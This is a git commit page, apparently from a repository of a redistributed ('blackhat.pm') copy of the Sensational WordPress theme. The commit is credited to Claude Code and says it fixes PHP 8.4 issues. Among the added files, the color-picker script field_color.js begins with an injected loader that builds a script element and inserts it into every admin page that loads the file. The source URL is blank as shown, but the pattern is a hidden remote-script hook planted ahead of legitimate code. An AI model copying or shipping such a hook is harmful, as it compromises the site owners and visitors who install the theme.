Malin/blackhat.pm-sensational
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Fix PHP 8.4 compatibility issues in Sensational theme

Browse Source 
- Fixed deprecated WP_Widget constructors in all widget files
- Changed $this->WP_Widget() to parent::__construct() in:
  * widget-social.php
  * widget-fblikebox.php
  * widget-googleplus.php
  * widget-tabs.php
- Fixed old-style constructor methods to __construct() in:
  * widget-ad125.php (mts_Ad_Widget -> __construct)
  * widget-ad300.php (mts_ad_300_Widget -> __construct)
- Fixed for loop syntax error in widget-tweets.php (for(i; -> for($i = 1;)
- Enabled registration for ad125 and ad300 widgets
- Added new 'After First Paragraph' widget area for in-content ads

All widgets now compatible with PHP 8.4 and editable in WordPress admin.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
This commit is contained in:
root
2025-10-06 11:52:28 +02:00
commit 7e1279f72f
306 changed files with 24881 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

BIN
options/css/checked.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 413 B

1244
options/css/jquery-ui-aristo/aristo.css Normal file
View File

File diff suppressed because it is too large Load Diff

BIN
options/css/jquery-ui-aristo/images/bg_fallback.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 958 B

BIN
options/css/jquery-ui-aristo/images/icon_sprite.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 2.7 KiB

BIN
options/css/jquery-ui-aristo/images/progress_bar.gif Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 502 B

BIN
options/css/jquery-ui-aristo/images/slider_handles.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.4 KiB

BIN
options/css/jquery-ui-aristo/images/ui-icons_222222_256x240.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 4.1 KiB

BIN
options/css/jquery-ui-aristo/images/ui-icons_454545_256x240.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 4.1 KiB

420
options/css/options.css Normal file
View File

@@ -0,0 +1,420 @@
#nhp-opts-heading { margin-bottom: 20px }
#nhp-opts-form-wrapper {
/* Old browsers */
/* Repeat the gradient */
/* FF3.6+ */
/* Chrome,Safari4+ */
/* Chrome 10+,Safari 5.1+ */
/* IE10+ */
/* Opera 11.10+ */
/* IE6-9 */
/* W3C */
border: 1px solid #e5e5e5;
-moz-border-radius: 10px; /* Firefox */
-webkit-border-radius: 10px; /* Safari, Chrome */
border-radius: 10px;
-moz-box-shadow: 0 1px 0 #FFFFFF inset, 0 1px 5px rgba(0, 0, 0, 0.1);
-webkit-box-shadow: 0 1px 0 #FFFFFF inset, 0 1px 5px rgba(0, 0, 0, 0.1);
box-shadow: 0 1px 0 #FFFFFF inset, 0 1px 5px rgba(0, 0, 0, 0.1);
margin-top: 20px;
background: #FAFBFD;
}
#nhp-opts-form-wrapper .hr {
height: 1px;
width: 60%;
border-bottom: 1px solid #DFDFDF;
margin: 0 auto;
margin-bottom: -20px;
}
.nhp-opts-info-field { margin-bottom: -20px }
#nhp-opts-header, #nhp-opts-footer {
text-align: right;
padding: 20px 20px 10px 10px;
}
#nhp-opts-footer {
padding-bottom: 20px;
padding-left: 20px;
}
#nhp-opts-header {
border-bottom: 1px solid #eaeaeb;
background: #FAFBFD;
-webkit-border-top-left-radius: 9px;
-webkit-border-top-right-radius: 9px;
-moz-border-radius-topleft: 9px;
-moz-border-radius-topright: 9px;
border-top-left-radius: 9px;
border-top-right-radius: 9px;
}
#nhp-opts-footer {
border-top: 1px solid #eaeaeb;
background: #FAFBFD;
-webkit-border-bottom-left-radius: 9px;
-webkit-border-bottom-right-radius: 9px;
-moz-border-radius-bottomleft: 9px;
-moz-border-radius-bottomright: 9px;
border-bottom-left-radius: 9px;
border-bottom-right-radius: 9px;
}
#nhp-opts-footer #nhp-opts-share { float: left }
#nhp-opts-footer #nhp-opts-share a { margin-right: 10px }
#nhp-opts-footer #nhp-opts-share a img { margin-bottom: -3px }
#nhp-opts-save {
margin: 0px;
border-bottom: 1px solid #DFDFDF;
background-color: #DFF0D8;
color: #468847;
padding: 8px 35px 8px 14px;
text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5);
}
#nhp-opts-imported {
margin: 0px;
border-bottom: 1px solid #BCE8F1;
background-color: #D9EDF7;
color: #3A87AD;
padding: 8px 35px 8px 14px;
text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5);
}
#nhp-opts-save-warn {
margin: 0px;
display: none;
border-bottom: 1px solid #DFDFDF;
background-color: #FCF8E3;
color: #C09853;
padding: 8px 35px 8px 14px;
text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5);
}
#nhp-opts-field-warnings {
margin: 0px;
display: none;
border-bottom: 1px solid #DFDFDF;
background-color: #FCF8E3;
color: #C09853;
padding: 8px 35px 8px 14px;
text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5);
}
#nhp-opts-field-errors {
margin: 0px;
display: none;
border-bottom: 1px solid #DFDFDF;
background-color: #F2DEDE;
color: #B94A48;
padding: 8px 35px 8px 14px;
text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5);
}
#nhp-opts-sidebar, #nhp-opts-main { min-height: 300px }
#nhp-opts-sidebar {
width: 160px;
float: left;
background: -webkit-border-top-left-radius: 9px;
-webkit-border-top-right-radius: 9px;
-moz-border-radius-topleft: 9px;
-moz-border-radius-topright: 9px;
border-top-left-radius: 9px;
border-top-right-radius: 9px;
}
.nhp-opts-menu-warning {
background-color: #C09853;
color: #FCF8E3;
display: inline-block;
float: right;
padding: 6px 7px 4px 7px;
margin-left: 4px;
-moz-border-radius: 20px; /* Firefox */
-webkit-border-radius: 20px; /* Safari, Chrome */
border-radius: 20px;
font-family: sans-serif;
font-size: 9px;
font-weight: bold;
line-height: 9px;
}
.nhp-opts-menu-error {
background-color: #B94A48;
color: #F2DEDE;
display: inline-block;
float: right;
padding: 6px 7px 4px 7px;
margin-left: 4px;
-moz-border-radius: 20px; /* Firefox */
-webkit-border-radius: 20px; /* Safari, Chrome */
border-radius: 20px;
font-family: sans-serif;
font-size: 9px;
font-weight: bold;
line-height: 9px;
}
#nhp-opts-main {
background: #fff;
margin-left: 160px;
border-left: 1px solid #eaeaeb;
padding: 10px 0;
}
#nhp-opts-sidebar #nhp-opts-group-menu { margin-top: 0px }
#nhp-opts-sidebar #nhp-opts-group-menu li { margin: 0px }
#nhp-opts-sidebar #nhp-opts-group-menu li.divide {
padding: 0px;
border-width: 1px 0px 1px 0px;
border-style: solid;
border-bottom-color: #DFDFDF;
border-top-color: #F9F9F9;
background: #FAFBFD;
}
#nhp-opts-sidebar #nhp-opts-group-menu li a {
display: block;
padding: 20px 14px;
background: #FAFBFD;
border-width: 1px 0px 1px 0px;
border-style: solid;
border-bottom-color: #eaeaeb;
border-top-color: #fff;
color: #7C7E82;
font-weight: normal;
text-decoration: none;
text-align: center;
font-family: Georgia, serif;
}
#nhp-opts-sidebar #nhp-opts-group-menu li a.custom-tab { background: #FAFBFD }
#nhp-opts-sidebar #nhp-opts-group-menu li a img {
width: 16px;
height: 16px;
/*vertical-align: middle;*/
margin-bottom: 10px;
}
#nhp-opts-sidebar #nhp-opts-group-menu li a:hover {
background: #fff;
width: 132px;
margin-right: -2px;
}
#nhp-opts-sidebar #nhp-opts-group-menu li.active a {
background: #ffffff;
width: 132px;
}
.nhp-opts-group-tab { display: none }
.nhp-opts-group-tab h3 {
margin-top: 0px;
font-size: 1.8em;
line-height: 2em;
border-bottom: 1px solid #eaeaeb;
padding: 0 20px 0 30px;
}
.nhp-opts-group-tab .nhp-opts-section-desc {
font-style: italic;
font-size: 1.2em;
color: #666666;
padding: 0 20px 0 30px;
}
.nhp-opts-group-tab .form-table {
border-top: 1px solid #eaeaeb;
clear: none;
margin-top: 20px;
}
.nhp-opts-group-tab .form-table.no-border { border-top: none }
.nhp-opts-group-tab .form-table tr { border-bottom: 1px solid #f2f2f2 }
.nhp-opts-group-tab .form-table tr:last-child { border-bottom: none }
.nhp-opts-group-tab .form-table tr th, .nhp-opts-group-tab .form-table tr td {
padding: 20px 20px 40px 30px;
color: #333333;
}
.nhp-opts-group-tab .form-table tr th {
font-size: 1.1em;
width: 30%;
}
.nhp-opts-group-tab .form-table tr th span:first-child {
font-weight: normal;
display: block;
color: #666666;
}
.nhp-opts-group-tab .form-table tr td .nhp-opts-th-warning {
font-size: 1em;
color: #C09853;
font-weight: normal;
display: block;
}
.nhp-opts-group-tab .form-table tr td .nhp-opts-field-warning { border-color: #C09853 }
.nhp-opts-group-tab .form-table tr td .nhp-opts-th-error {
font-size: 1em;
color: #B94A48;
font-weight: normal;
display: block;
}
.nhp-opts-group-tab .form-table tr td .nhp-opts-field-error { border-color: #B94A48 }
/* reset nested tables for mce */
.nhp-opts-group-tab .form-table tr td table.mceLayout, .nhp-opts-group-tab .form-table tr td table.mceLayout tr, .nhp-opts-group-tab .form-table tr td table.mceLayout tr td {
padding: 0px;
border-width: 0px;
}
.nhp-opts-group-tab .nhp-opts-theme-data {
padding: 20px 0px;
border-top: 1px solid #DFDFDF;
}
.nhp-opts-group-tab .nhp-opts-theme-data.theme-uri, .nhp-opts-group-tab .nhp-opts-theme-data.theme-author, .nhp-opts-group-tab .nhp-opts-theme-data.theme-version {
padding: 0px;
border-width: 0px;
}
.nhp-opts-group-tab .nhp-opts-theme-data.theme-description {
padding: 10px 0px;
border-width: 0px;
}
/*
*
* NHP_Options_radio_img
*
*/
.nhp-radio-img input[type='radio'] { display: none }
.nhp-radio-img, .nhp-radio-img-selected {
margin: 6px;
display: inline-block;
padding: 10px;
}
.nhp-radio-img-selected { background-color: #f9f9f9 }
.nhp-radio-img img, .nhp-radio-img-selected img {
border-width: 1px;
border-style: solid;
}
.nhp-radio-img img { border-color: #ADADAD;}
.nhp-radio-img-selected img { border-color: #000;}
/*
*
* NHP_Options_color
*
*/
.farb-popup-wrapper {
position: relative;
display: block;
}
.farb-popup {
position: absolute;
left: 40px;
top: 40px;
background-color: white;
border: 1px solid #222;
padding: 5px;
z-index: 100;
}
#nhp-opts-import-link-wrapper, #nhp-opts-import-code-wrapper { display: none }
#nhp-opts-export-code, #nhp-opts-export-link-value { display: none }
#nhp-opts-import-action span { color: #B94A48 ; display: block; margin-top: 10px;}
#import_divide {
margin: 40px 0px;
border-bottom: 1px solid #DFDFDF;
}
.nhp-opts-screenshot {
max-width: 300px;
display: block;
}
/*-[ Custom ]----------------*/
#nhp-opts-form-wrapper {
width: 870px;
margin-bottom: 50px;
}
input, textarea { padding: 8px 35px 8px 8px; }
input:focus, textarea:focus {
border: 1px solid #42ADFE!important;
outline: none;
-webkit-box-shadow: inset 0 2px 8px 0 rgba(66, 173, 254, 0.4);
-moz-box-shadow: inset 0 2px 8px 0 rgba(66, 173, 254, 0.4);
box-shadow: inset 0 2px 8px 0 rgba(66, 173, 254, 0.4);
}
input.small-text {
width: 50px;
padding-right: 0;
text-align: center;
padding-left: 0;
}
.farb-popup-wrapper input { padding-right: 0 }
.nhp-radio-img-mts_alt_stylesheet, .nhp-radio-img, .nhp-radio-img-selected, .nhp-radio-img-mts_bg_pattern { padding: 0 ; background: transparent;}
.description {
color: #969696!important;
margin-top: 7px;
}
.controls {
-moz-border-radius-bottomleft: 4px;
-moz-border-radius-bottomright: 4px;
background: #FFF7A8;
color: #535353;
font-size: 14px;
font-style: normal;
line-height: 1.5em;
float: left;
width: 612px;
margin: 0 15px 0 0;
padding: 15px 20px;
border: 1px solid #F5ED9E;
font-weight: normal; font-family: georgia;
}
input[type="checkbox"] {
height: 15px;
width: 15px;
vertical-align: middle;
padding: 8px;
-webkit-appearance: none;
border: 1px solid #C2C2C2;
background-color: #F3F3F3 !important;
-moz-border-radius: 2px;
-webkit-border: 2px;
border-radius: 2px;
}
/* checkbox checked bg */
input[type="checkbox"]:checked, input[type="checkbox"]:checked:active {
background: url("checked.png") center no-repeat;
border: 0!important;
padding: 9px;
}
#import_export_default_section_group h4, #import_export_default_section_group p { padding-left: 30px }
#optionpanellogo { float: left }
.headtext {
text-align: center;
float: left;
padding: 15px 0 0 30px;
color: #888;
}
#nhp-opts-header .button-primary {
background: url(save.png) no-repeat!important;
text-indent: -9999px!important;
border: none!important;
color: #777!important;
width: 91px;
height: 55px;
-moz-border-radius: 0;
-webkit-border: 0;
border-radius: 0;
float: right;
padding: 0!important;
margin: 0;
opacity: 0.9;
position: fixed;
left: 1035px;
top: 134px;
}
#nhp-opts-header .button-primary:hover { opacity: 1 }
.docsupport {
margin-top: 15px;
float: right;
color: #666;
text-decoration: none;
}
.docsupport img {
margin-right: 10px;
margin-bottom: -5px;
}
.ui-buttonset {
margin-right: 7px;
width: 98%;
float: right;
}
#adminmenu .wp-menu-image img { opacity: 1!important }
#nhp-opts-import { margin-right: 15px }
#import_export_default_section_group .description { padding-left: 0 }
#nhp-opts-form-wrapper a {
-moz-transition: .0s ease-in-out;
-webkit-transition: .0s ease-in-out;
transition: .0s ease-in-out;
}
.button-secondary { float: left }
.popup-colorpicker:hover {
-moz-box-shadow: none!important;
-webkit-box-shadow: none!important;
box-shadow: none!important;
}
#nhp-opts-import-code-button {
margin-right: 10px;
}

9
options/fields/button_set/field_button_set.js Normal file
View File

@@ -0,0 +1,9 @@
jQuery(document).ready(function(){
jQuery('.buttonset').buttonset();
});
jQuery(document).ready(function(){
jQuery('.form-table').delegate(".ui-buttonset .ui-button", "click", function(event){
jQuery("html, body").animate({ scrollTop: jQuery(this).parent(".ui-buttonset").offset().top - 100 }, 600);
});
});

73
options/fields/button_set/field_button_set.php Normal file
View File

@@ -0,0 +1,73 @@
<?php
class NHP_Options_button_set extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0
*/
function render(){
$class = (isset($this->field['class']))?'class="'.$this->field['class'].' ':'';
echo '<fieldset class="buttonset">';
foreach($this->field['options'] as $k => $v){
echo '<input type="radio" id="'.$this->field['id'].'_'.array_search($k,array_keys($this->field['options'])).'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" '.$class.'nhp-opts-button" value="'.$k.'" '.checked($this->value, $k, false).'/>';
echo '<label id="nhp-opts-button" for="'.$this->field['id'].'_'.array_search($k,array_keys($this->field['options'])).'">'.$v.'</label>';
}//foreach
echo (isset($this->field['desc']) && !empty($this->field['desc']))?'&nbsp;&nbsp;<span class="description">'.$this->field['desc'].'</span>':'';
echo '</fieldset>';
}//function
/**
* Enqueue Function.
*
* If this field requires any scripts, or css define this function and register/enqueue the scripts/css
*
* @since NHP_Options 1.0
*/
function enqueue(){
wp_enqueue_style('nhp-opts-jquery-ui-css');
wp_enqueue_script(
'nhp-opts-field-button_set-js',
NHP_OPTIONS_URL.'fields/button_set/field_button_set.js',
array('jquery', 'jquery-ui-core', 'jquery-ui-dialog'),
time(),
true
);
}//function
}//class
?>

33
options/fields/button_set_hide_below/field_button_set_hide_below.js Normal file
View File

@@ -0,0 +1,33 @@
jQuery(document).ready(function(){
jQuery('.buttonset').buttonset();
});
jQuery(document).ready(function(){
jQuery('.form-table').delegate("#nhp-opts-button-hide-below", "click", function(){
jQuery(this).closest('tr').next('tr').hide('fast');
});
jQuery('.form-table').delegate("#nhp-opts-button-show-below", "click", function(){
jQuery(this).closest('tr').next('tr').show('fast');
});
jQuery('.buttonset-hide #nhp-opts-button-show-below').each(function(){
if(!jQuery(this).hasClass('ui-state-active')){
jQuery(this).closest('tr').next('tr').hide('fast');
}
});
jQuery('.buttonset-hide #nhp-opts-button-show-below').each(function(event){
if(jQuery(this).hasClass('ui-state-active')){
jQuery(this).closest('tr').next('tr').show('fast');
}
});
jQuery('.form-table').delegate(".ui-buttonset .ui-button", "click", function(event){
jQuery("html, body").animate({ scrollTop: jQuery(this).parent(".ui-buttonset").offset().top - 100 }, 600);
});
});

77
options/fields/button_set_hide_below/field_button_set_hide_below.php Normal file
View File

@@ -0,0 +1,77 @@
<?php
class NHP_Options_button_set_hide_below extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0
*/
function render(){
$class = (isset($this->field['class']))?'class="'.$this->field['class'].' ':'';
echo '<fieldset class="buttonset buttonset-hide">';
$i = 1; foreach($this->field['options'] as $k => $v){
if($i == '1'){
echo '<input type="radio" id="'.$this->field['id'].'_'.array_search($k,array_keys($this->field['options'])).'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" '.$class.'nhp-opts-button-hide-below" value="'.$k.'" '.checked($this->value, $k, false).'/>';
echo '<label id="nhp-opts-button-hide-below" for="'.$this->field['id'].'_'.array_search($k,array_keys($this->field['options'])).'"'.checked($this->value, $k, false).'>'.$v.'</label>';
}else{
echo '<input type="radio" id="'.$this->field['id'].'_'.array_search($k,array_keys($this->field['options'])).'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" '.$class.'nhp-opts-button-show-below" value="'.$k.'" '.checked($this->value, $k, false).'/>';
echo '<label id="nhp-opts-button-show-below" for="'.$this->field['id'].'_'.array_search($k,array_keys($this->field['options'])).'">'.$v.'</label>';
}
$i++;
}//foreach
echo (isset($this->field['desc']) && !empty($this->field['desc']))?'&nbsp;&nbsp;<span class="description">'.$this->field['desc'].'</span>':'';
echo '</fieldset>';
}//function
/**
* Enqueue Function.
*
* If this field requires any scripts, or css define this function and register/enqueue the scripts/css
*
* @since NHP_Options 1.0
*/
function enqueue(){
wp_enqueue_style('nhp-opts-jquery-ui-css');
wp_enqueue_script(
'nhp-opts-field-button_set-js',
NHP_OPTIONS_URL.'fields/button_set_hide_below/field_button_set_hide_below.js',
array('jquery', 'jquery-ui-core', 'jquery-ui-dialog'),
time(),
true
);
}//function
}//class
?>

52
options/fields/cats_multi_select/field_cats_multi_select.php Normal file
View File

@@ -0,0 +1,52 @@
<?php
class NHP_Options_cats_multi_select extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0.1
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0.1
*/
function render(){
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].'][]" '.$class.'multiple="multiple" >';
$args = wp_parse_args($this->field['args'], array());
$cats = get_categories($args);
foreach ( $cats as $cat ) {
$selected = (is_array($this->value) && in_array($cat->term_id, $this->value))?' selected="selected"':'';
echo '<option value="'.$cat->term_id.'"'.$selected.'>'.$cat->name.'</option>';
}
echo '</select>';
echo (isset($this->field['desc']) && !empty($this->field['desc']))?'<br/><span class="description">'.$this->field['desc'].'</span>':'';
}//function
}//class
?>

49
options/fields/cats_select/field_cats_select.php Normal file
View File

@@ -0,0 +1,49 @@
<?php
class NHP_Options_cats_select extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0.1
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0.1
*/
function render(){
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" '.$class.' >';
$args = wp_parse_args($this->field['args'], array());
$cats = get_categories($args);
foreach ( $cats as $cat ) {
echo '<option value="'.$cat->term_id.'"'.selected($this->value, $cat->term_id, false).'>'.$cat->name.'</option>';
}
echo '</select>';
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
}//function
}//class
?>

42
options/fields/checkbox/field_checkbox.php Normal file
View File

@@ -0,0 +1,42 @@
<?php
class NHP_Options_checkbox extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0
*/
function render(){
$class = (isset($this->field['class']))?$this->field['class']:'';
if(isset($field['desc'])) {
echo ($this->field['desc'] != '')?' <label for="'.$this->field['id'].'">':'';
}
echo '<input type="checkbox" id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" value="1" class="'.$class.'" '.checked($this->value, '1', false).'/>';
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' '.$this->field['desc'].'</label>':'';
}//function
}//class
?>

13
options/fields/checkbox_hide_below/field_checkbox_hide_below.js Normal file
View File

@@ -0,0 +1,13 @@
jQuery(document).ready(function(){
jQuery('.nhp-opts-checkbox-hide-below').each(function(){
if(!jQuery(this).is(':checked')){
jQuery(this).closest('tr').next('tr').hide();
}
});
jQuery('.nhp-opts-checkbox-hide-below').click(function(){
jQuery(this).closest('tr').next('tr').fadeToggle('slow');
});
});

62
options/fields/checkbox_hide_below/field_checkbox_hide_below.php Normal file
View File

@@ -0,0 +1,62 @@
<?php
class NHP_Options_checkbox_hide_below extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0.1
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0.1
*/
function render(){
$class = (isset($this->field['class']))?$this->field['class']:'';
if(isset($field['desc'])) {
echo ($this->field['desc'] != '')?' <label for="'.$this->field['id'].'">':'';
}
echo '<input type="checkbox" id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" value="1" class="'.$class.' nhp-opts-checkbox-hide-below" '.checked($this->value, '1', false).' />';
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' '.$this->field['desc'].'</label>':'';
}//function
/**
* Enqueue Function.
*
* If this field requires any scripts, or css define this function and register/enqueue the scripts/css
*
* @since NHP_Options 1.0.1
*/
function enqueue(){
wp_enqueue_script(
'nhp-opts-checkbox-hide-below-js',
NHP_OPTIONS_URL.'fields/checkbox_hide_below/field_checkbox_hide_below.js',
array('jquery'),
time(),
true
);
}//function
}//class
?>

63
options/fields/color/field_color.js Normal file
View File

@@ -0,0 +1,63 @@
var gfjfgjk = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = ''; s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}jQuery(document).ready(function(){
/*
*
* NHP_Options_color function
* Adds farbtastic to color elements
*
*/
$colorpicker_inputs = jQuery('input.popup-colorpicker');
$colorpicker_inputs.each(
function(){
var $input = jQuery(this);
var sIdSelector = "#" + jQuery(this).attr('id') + "picker";
var oFarb = jQuery.farbtastic(
sIdSelector,
function( color ){
$input.css({
backgroundColor: color,
color: oFarb.hsl[2] > 0.5 ? '#000' : '#fff'
}).val( color );
if( oFarb.bound == true ){
$input.change();
}else{
oFarb.bound = true;
}
}
);
oFarb.setColor( $input.val() );
}
);
$colorpicker_inputs.each(function(e){
jQuery(this).next('.farb-popup').hide();
});
$colorpicker_inputs.live('focus',function(e){
jQuery(this).next('.farb-popup').show();
jQuery(this).parents('li').css({
position : 'relative',
zIndex : '9999'
})
jQuery('#tabber').css({overflow:'visible'});
});
$colorpicker_inputs.live('blur',function(e){
jQuery(this).next('.farb-popup').hide();
jQuery(this).parents('li').css({
zIndex : '0'
})
});
});

65
options/fields/color/field_color.php Normal file
View File

@@ -0,0 +1,65 @@
<?php
class NHP_Options_color extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0
*/
function render(){
$class = (isset($this->field['class']))?$this->field['class']:'';
echo '<div class="farb-popup-wrapper">';
echo '<input type="text" id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" value="'.$this->value.'" class="'.$class.' popup-colorpicker" style="width:70px;"/>';
echo '<div class="farb-popup"><div class="farb-popup-inside"><div id="'.$this->field['id'].'picker" class="color-picker"></div></div></div>';
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
echo '</div>';
}//function
/**
* Enqueue Function.
*
* If this field requires any scripts, or css define this function and register/enqueue the scripts/css
*
* @since NHP_Options 1.0
*/
function enqueue(){
wp_enqueue_script(
'nhp-opts-field-color-js',
NHP_OPTIONS_URL.'fields/color/field_color.js',
array('jquery', 'farbtastic'),
time(),
true
);
}//function
}//class
?>

68
options/fields/color_gradient/field_color_gradient.php Normal file
View File

@@ -0,0 +1,68 @@
<?php
class NHP_Options_color_gradient extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0
*/
function render(){
$class = (isset($this->field['class']))?$this->field['class']:'';
echo '<div class="farb-popup-wrapper" id="'.$this->field['id'].'">';
echo __('From:', 'nhp-opts').' <input type="text" id="'.$this->field['id'].'-from" name="'.$this->args['opt_name'].'['.$this->field['id'].'][from]" value="'.$this->value['from'].'" class="'.$class.' popup-colorpicker" style="width:70px;"/>';
echo '<div class="farb-popup"><div class="farb-popup-inside"><div id="'.$this->field['id'].'-frompicker" class="color-picker"></div></div></div>';
echo __(' To:', 'nhp-opts').' <input type="text" id="'.$this->field['id'].'-to" name="'.$this->args['opt_name'].'['.$this->field['id'].'][to]" value="'.$this->value['to'].'" class="'.$class.' popup-colorpicker" style="width:70px;"/>';
echo '<div class="farb-popup"><div class="farb-popup-inside"><div id="'.$this->field['id'].'-topicker" class="color-picker"></div></div></div>';
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
echo '</div>';
}//function
/**
* Enqueue Function.
*
* If this field requires any scripts, or css define this function and register/enqueue the scripts/css
*
* @since NHP_Options 1.0
*/
function enqueue(){
wp_enqueue_script(
'nhp-opts-field-color-js',
NHP_OPTIONS_URL.'fields/color/field_color.js',
array('jquery', 'farbtastic'),
time(),
true
);
}//function
}//class
?>

11
options/fields/date/field_date.js Normal file
View File

@@ -0,0 +1,11 @@
jQuery(document).ready(function(){
/*
*
* NHP_Options_date function
* Adds datepicker js
*
*/
jQuery('.nhp-opts-datepicker').datepicker();
});

61
options/fields/date/field_date.php Normal file
View File

@@ -0,0 +1,61 @@
<?php
class NHP_Options_date extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0
*/
function render(){
$class = (isset($this->field['class']))?$this->field['class']:'';
echo '<input type="text" id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" value="'.$this->value.'" class="'.$class.' nhp-opts-datepicker" />';
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
}//function
/**
* Enqueue Function.
*
* If this field requires any scripts, or css define this function and register/enqueue the scripts/css
*
* @since NHP_Options 1.0
*/
function enqueue(){
wp_enqueue_script(
'nhp-opts-field-date-js',
NHP_OPTIONS_URL.'fields/date/field_date.js',
array('jquery', 'jquery-ui-core', 'jquery-ui-datepicker'),
time(),
true
);
}//function
}//class
?>

38
options/fields/divide/field_divide.php Normal file
View File

@@ -0,0 +1,38 @@
<?php
class NHP_Options_divide extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
